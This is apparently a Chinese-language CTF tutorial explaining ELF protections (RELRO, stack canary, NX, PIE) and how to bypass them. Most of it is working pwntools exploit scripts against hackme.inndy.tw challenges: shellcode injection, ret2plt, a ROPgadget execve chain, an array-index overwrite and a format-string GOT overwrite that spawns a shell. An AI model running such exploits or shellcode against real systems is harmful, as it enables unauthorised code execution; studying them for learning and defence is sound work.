ELF文件保护机制解读及绕过
查看ELF文件保护机制,通过工具checksec(https://github.com/slimm609/checksec.sh)
1root@ubuntu:~checksec echo2
2[*] '/root/echo2'
3 Arch: amd64-64-little
4 RELRO: Partial RELRO
5 Stack: No canary found
6 NX: NX enabled
7 PIE: PIE enabled
函数调用惯例示意图:
1esp -> |deadbeef|
2 |........| <- 可控
3ebp -> |deadffff|
4ret -> |&main237|
5p3 -> |00000001|
6p2 -> |00000001|
7p1 -> |bffff608|
8p0 -> |00000002|
通过输入超长内容,找出buff长度,通过溢出覆盖ret内容到现在的esp地址,构造payload:
1payload1 = shellcode + (len_buf-len(shellcode)) * "A" + p32(ret_address)
2payload2 = len_buf * "A" + p32(jump_esp) + shellcode
比如scoreboard上的toooomuch:
1#!/usr/bin/python env
2
3from pwn import *
4
5pro_process = remote('hackme.inndy.tw',7702)
6
7shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
8shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
9shellcode += "\x0b\xcd\x80"
10
11integrate_shellcode = 'A' * 28 + p32(0xb7e1caa9) + shellcode
12
13pro_process.sendafter('Give me your passcode: ',integrate_shellcode)
14pro_process.interactive()
调用可以写入的函数,写入
/bin/sh
到.bss,通过ROPgadget(https://github.com/JonathanSalwan/ROPgadget)查找pop ret
,构造payload,toooomuch的另一种解法:
1#!/usr/bin/python env
2from pwn import *
3
4elf_file = ELF('./toooomuch')
5bin_sh_code = '/bin/sh\0'
6
7exec_system = elf_file.plt['system']
8print "function system plt address is: %x" % exec_system
9gets_addr = elf_file.symbols['gets']
10print "funcion gets symbols address is %x:" % gets_addr
11bss_addr = elf_file.bss()
12print "bss segement address is %x:" % bss_addr
13
14length_pattern = 28
15pro_process = remote('hackme.inndy.tw', 7702)
16
17popret_addr = 0x8048455
18integrate_shellcode = 'K' * length_pattern + p32(gets_addr) + p32(popret_addr) + p32(bss_addr) + p32(exec_system) + p32(bss_addr) + p32(bss_addr)
19pro_process.sendafter('Give me your passcode: ',integrate_shellcode)
20pro_process.sendline(bin_sh_code)
21pro_process.interactive()
等
NX: NX enabled 栈不可执行时,则不可直接将shellcode写入栈 可通过上述的toooomuch例子,将
/bin/sh
写入.bss,然后调用system函数
首先,file命令查看文件属性:
1rop: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=e9ed96cd1a8ea3af86b7b73048c909236d570d9e, not stripped
非动态链接程序文件可直接通过
ROPgadget
生成ropchain
,并溢出到栈上,比如scoreboard上面的rop题
1#!/usr/bin/env python2
2# execve generated by ROPgadget
3from pwn import *
4from struct import pack
5# Padding goes here
6
7p = 'A' * 16
8p += pack('<I', 0x0806ecda) # pop edx ; ret
9p += pack('<I', 0x080ea060) # @ .data
10p += pack('<I', 0x080b8016) # pop eax ; ret
11p += '/bin'
12p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
13p += pack('<I', 0x0806ecda) # pop edx ; ret
14p += pack('<I', 0x080ea064) # @ .data + 4
15p += pack('<I', 0x080b8016) # pop eax ; ret
16p += '//sh'
17p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
18p += pack('<I', 0x0806ecda) # pop edx ; ret
19p += pack('<I', 0x080ea068) # @ .data + 8
20p += pack('<I', 0x080492d3) # xor eax, eax ; ret
21p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
22p += pack('<I', 0x080481c9) # pop ebx ; ret
23p += pack('<I', 0x080ea060) # @ .data
24p += pack('<I', 0x080de769) # pop ecx ; ret
25p += pack('<I', 0x080ea068) # @ .data + 8
26p += pack('<I', 0x0806ecda) # pop edx ; ret
27p += pack('<I', 0x080ea068) # @ .data + 8
28p += pack('<I', 0x080492d3) # xor eax, eax ; ret
29p += pack('<I', 0x0807a66f) # inc eax ; ret
30p += pack('<I', 0x0807a66f) # inc eax ; ret
31p += pack('<I', 0x0807a66f) # inc eax ; ret
32p += pack('<I', 0x0807a66f) # inc eax ; ret
33p += pack('<I', 0x0807a66f) # inc eax ; ret
34p += pack('<I', 0x0807a66f) # inc eax ; ret
35p += pack('<I', 0x0807a66f) # inc eax ; ret
36p += pack('<I', 0x0807a66f) # inc eax ; ret
37p += pack('<I', 0x0807a66f) # inc eax ; ret
38p += pack('<I', 0x0807a66f) # inc eax ; ret
39p += pack('<I', 0x0807a66f) # inc eax ; ret
40p += pack('<I', 0x0806c943) # int 0x80
41
42pro_process = remote('hackme.inndy.tw',7704)
43pro_process.send(p)
44pro_process.interactive()
金丝雀是指,在函数返回之前,会检查栈上特定位置的内容,如果和放入时的不同,则说明栈的数据被异常修改,在有金丝雀的情况下,不可直接溢出,需要通过数组或格式化字符串等指定位置修改,通过修改返回地址、GOT表等内容达到溢出
通过数组溢出,修改指定位置,如scoreboard中的homework:
1#!/usr/bin/python env
2
3from pwn import *
4import time
5
6pro_process = process('./homework')
7print pro_process.recvline(keepends=True)
8pro_process.sendafter('What\'s your name? ', '1')
9#print 'Input name success'
10print pro_process.recvline(4)
11pro_process.send('1')
12print 'Choose edit success'
13time.sleep(5)
14pro_process.send('14')
15print 'Choose edit number success'
16time.sleep(5)
17pro_process.send('134514171')
18print 'Rewrite return address success'
19pro_process.readline()
20pro_process.send('0')
21print 'exit success\\n waiting for interactive...'
22pro_process.interactive()
但是金丝雀防护的开销较大,每个函数都要增加五条汇编指令
可通过格式化字符串漏洞,泄漏栈上的内容,如__libc_start_main_ret地址,通过libc-database确定libc版本,查找libc中的Magic地址,修改某个后续会调用的函数的GOT表,getshell
比如scoreboard中的echo2
1#!/usr/bin/python env
2from pwn import *
3from libnum import *
4from sys import *
5elf_file = ELF('./echo2')
6pro_process = process('./echo2') if argv[1]=="1" else remote('hackme.inndy.tw', 7712)
7static_exit_got = elf_file.got['exit']
8static_system_got = elf_file.got['system']
9# Leak
10def standLeak():
11 payload = "%47$p\n"
12 pro_process.send(payload)
13 main_start = pro_process.recvline()
14 base_oppo = eval(main_start) & 0xfffffffff000
15 print "base_oppo => " + hex(base_oppo)
16 return base_oppo
17
18# choose: 0 => local,libc2.7 1 => remote libc2.3
19def libcLeak(choose):
20 oppo_addr = 0x21b97 if choose=="1" else 0x20830
21 payload = "%43$p\n"
22 pro_process.send(payload)
23 start_ret = pro_process.recvline()
24 libc_oppo = eval(start_ret) - oppo_addr
25 print "libc_oppo => " + hex(libc_oppo)
26 return libc_oppo
27
28#write content
29def writeAddr(content,addr):
30 if content:
31 temp_content = content & 0xffff
32 payload = "%" + str(temp_content).zfill(5) + "x%8$hnAAAA" + p64(addr) + "\n"
33 print "Write paylaod is: " + payload[1:-1]
34 wating = raw_input("wait to continue...")
35 pro_process.send(payload)
36 pro_process.recv()
37 #pro_process.send('\n')
38 #pro_process.recv()
39 #wating = raw_input("wait to continue...")
40 print "Write " + hex(temp_content) + " => " + hex(addr)
41 content = content >> 16
42 addr = addr + 2
43 writeAddr(content, addr)
44 else:
45 print "Nothing to write anymore."
46
47
48
49libc23_magic = 0xf0897
50libc27_magic = 0x4f322
51libc_magic = libc27_magic if argv[1]=="1" else libc23_magic
52print "libc_magic => " + hex(libc_magic)
53Base_oppo = standLeak()
54Libc_oppo = libcLeak(argv[1])
55Real_magic = Libc_oppo + libc_magic
56Writeaddr = Base_oppo + static_system_got
57print "Real_magic => " + hex(Real_magic)
58print "Writeaddr => " + hex(Writeaddr)
59writeAddr(Real_magic, Writeaddr)
60Wating = raw_input("Wait to check...")
61pro_process.send('exit\n')
62#pro_process.recv()
63pro_process.interactive()
格式化字符串漏洞,是由于printf函数的参数数目并不固定,在直接使用printf(input)时,如果input为%x,则会按照函数的调用惯例获取参数;通过%s参数,结合栈上其他可控的位置,可对任意位置内容进行读取;通过%n,将前面输出内容的长度写入对应地址,可对任意地址内容进行改写。